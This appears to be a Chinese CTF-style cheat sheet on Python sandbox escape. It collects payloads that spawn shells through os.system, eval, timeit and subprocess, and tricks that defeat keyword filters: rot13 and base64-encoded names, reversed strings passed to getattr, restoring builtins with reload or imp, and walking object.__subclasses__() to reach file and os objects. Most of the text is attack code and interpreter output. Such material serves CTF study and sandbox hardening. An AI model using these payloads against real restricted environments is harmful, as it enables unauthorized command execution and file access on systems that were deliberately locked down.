python 沙盒

原理

python沙盒逃逸其实就是如何通过绕过限制,拿到出题人或者安全运维人员不想让我们拿到的”危险函数”,或者绕过Python终端达到命令执行的效果。

从这个角度来讲,沙盒逃逸本身更像是偏web的东西,就像是sql注入在被过滤的剩余字符中通过骚操作来执行不该被执行的命令一样。

关于查看目标主机是否为docker

  1. cat /proc/self/cgroup
  2. mount -v

任意执行命令的一些函数和模块

  1. import 函数
1
__import__('os').system('dir')
  1. os 模块
1
2
3
4
5
import os

os.system("/bin/sh")

os.popen("/bin/sh")

很少不被禁,不然很容易被利用getshell
官方文档 https://docs.python.org/2/library/os.html

1
2
3
4
>>> import os
>>> os.system("/bin/sh")
$ whoami
sirius
  1. exec & eval 函数
1
2
3
eval('__import__("os").system("dir")')

exec('__import__("os").system("dir")')

两个执行函数,没什么可说的。。

1
2
3
>>> eval('__import__("os").system("/bin/sh")')
$ whoami
sirius

  1. execfile 函数

执行文件,主要用于引入模块来执行命令
python3不存在

  1. timeit 函数 from timeit 模块
1
2
import timeit
timeit.timeit('__import__("os").system("dir")',number=1)
1
2
3
4
>>> import timeit
>>> timeit.timeit('__import__("os").system("sh")',number=1)
$ whoami
sirius
  1. platform 模块
1
2
import platform 
print platform.popen('dir').read()

platform提供了很多方法去获取操作系统的信息,popen函数可以执行任意命令

1
2
3
>>> import platform 
>>> print platform.popen('dir').read()
jail.py
  1. commands 模块
1
2
3
import commands
print commands.getoutput("dir")
print commands.getstatusoutput("dir")

依旧可以用来执行部分指令,貌似不可以拿shell,但其他的很多都可以

1
2
3
4
5
>>> import commands
>>> print commands.getoutput("dir")
flag jail.py
>>> print commands.getstatusoutput("dir")
(0, 'flag jail.py')
  1. subprocess模块
1
2
import subprocess
subprocess.call(['ls'],shell=True)

shell=True 命令本身被bash启动,支持shell启动,否则不支持

1
2
3
>>> import subprocess
>>> subprocess.call(['ls'],shell=True)
flag jail.py
  1. compile 函数
1
2


菜鸟:http://www.runoob.com/python/python-func-compile.html

  1. f修饰符
1
f'{__import__("os").system("ls")}'

python 3.6加上的新特性,用f,F修饰的字符串可以执行代码。

文件操作

  1. file 函数
1
file('flag.txt').read()
  1. open 函数
1
open('flag.txt').read()
  1. codecs

    1
    2
    import codecs
    codecs.open('test.txt').read()
  2. Filetype 函数 from types 模块

1
2
import types
print types.FileType("flag").read()

可以用来读取文件

1
2
3
>>> import types
>>> print types.FileType("flag").read()
flag_here

关于python内部查看版本号,可以使用sys模块

1
2
3
4
>>> import sys
>>> print sys.version
2.7.12 (default, Nov 12 2018, 14:36:49)
[GCC 5.4.0 20160609]

绕过检查

import / os 引入

使用内联函数:

  1. import函数

import函数本身是用来动态的导入模块,比如:import(module) == import module

1
2
a = __import__("bf".decode('rot_13'))       //os 
a.system('sh')

importlib库

1
2
3
import importlib
a = importlib.import_module("bf".decode('rot_13')) //os
a.system('sh')
  1. builtins函数

使用 python 内置函数 builtins (该函数模块中的函数都被自动引入,不需要再单独引入) , dir(builtins) 查看剩余可用内置函数

1
2
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

这里是在没有禁用函数时的情况, 可以看到里面有一些一般不会禁用的函数比如说对文件的操作函数 open,int,chr等,还有dict函数

一个模块对象有一个由字典对象实现的命名空间…属性引用被转换为这个字典中的查找,例如,m.x等同于m.dict[“x”],我们就可以用一些编码来绕过字符明文检测。

所以可以有

1
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('sh')   == __builtins__.__dict__[_import__]('os').system('sh')

  1. 路径引入os等模块

因为一般都是禁止引入敏感包,当禁用os时,实际上就是 sys.modules[‘os’]=None

而因为一般的类unix系统的python os路径都是/usr/lib/python2.7/os.py ,所以可以通过路径引入

1
2
import sys
sys.modules['os']='/usr/lib/python2.7/os.py'
  1. reload

禁止引用某些函数时,可能会删除掉一些函数的引用,比如:

1
del __builtins__.__dict__['__import__']

这样就无法再引入,但是我们可以用 reload(builtins) 重载builtins模块恢复内置函数

但是reload本身也是builtins模块的函数,其本身也可能会被禁掉

在可以引用包的情况下,我们还可以使用imp模块

1
2
3
import __builtins__
import imp
imp.reload(__builtin__)

这样就可以得到完整的builtins模块了,需要注意的是需要先import builtins ,如果不写的话,虽然builtins模块已经被引入,但是它实际上是不可见的,即它仍然无法被找到,这里是这么说的:

1
引入imp模块的reload函数能够生效的前提是,在最开始有这样的程序语句import __builtins__,这个import的意义并不是把内建模块加载到内存中,因为内建早已经被加载了,它仅仅是让内建模块名在该作用域中可见。

再如果imp的reload被禁用掉呢?同时禁用掉路径引入需要的sys模块呢?
可以尝试上面的execfile()函数,或者open函数打开文件,exec执行代码

1
execfile('/usr/lib/python2.7/os.py')
  1. 函数名字符串扫描过滤的绕过

假如沙箱本身不是通过对包的限制,而是扫描函数字符串,关键码等等来过滤的;而关键字和函数没有办法直接用字符串相关的编码或解密操作

这里就可以使用: getattr && getattribute

1
2
3
4
5
6
7
getattr(__import__("os"),"flfgrz".encode("rot13"))('ls')

getattr(__import__("os"),"metsys"[::-1])('ls')

__import__("os").__getattribute__("metsys"[::-1])('ls')

__import__("os").__getattribute__("flfgrz".encode("rot13"))('ls')

runoob :http://www.runoob.com/python/python-func-getattr.html

1
2
如果某个类定义了 getattr() 方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.getattr(‘color’);而只会返回 x.color 已定义好的值。
如果某个类定义了 __getattribute__() 方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。

object 命令引入执行

object 类中集成了很多基础函数,我们也可以用object来进行调用的操作

对于字符串对象:

1
2
>>> ().__class__.__bases__
(<type 'object'>,)

通过base方法可以获取上一层继承关系

1
2
>>> "".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

通过mro方法获取继承关系

所以最常见的创建object对象的方法:

1
2
3
4
>>> ().__class__.__bases__[0]
<type 'object'>
>>> "".__class__.__mro__[2]
<type 'object'>

在获取之后,返回的是一个元组,通过下标+subclasses的方法可以获取所有子类的列表。而subclasses()第40个是file类型的object。

1
2
3
4
>>> ().__class__.__bases__[0].__subclasses__()[40]
<type 'file'>
>>> "".__class__.__mro__[2].__subclasses__()[40]
<type 'file'>

所以可以读文件

1
2
().__class__.__bases__[0].__subclasses__()[40]("jail.py").read()
"".__class__.__mro__[2].__subclasses__()[40]("jail.py").read()

同时写文件或执行任意命令

1
2
3
4
().__class__.__bases__[0].__subclasses__()[40]("jail.py","w").write("1111")


().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("jail.py").read()' )

可以执行命令寻找subclasses下引入过os模块的模块

1
2
3
4
5
6
>>> [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> "".__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>

参考:
http://shaobaobaoer.cn/archives/656/python-sandbox-escape
https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/#%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F
http://yulige.top/?p=502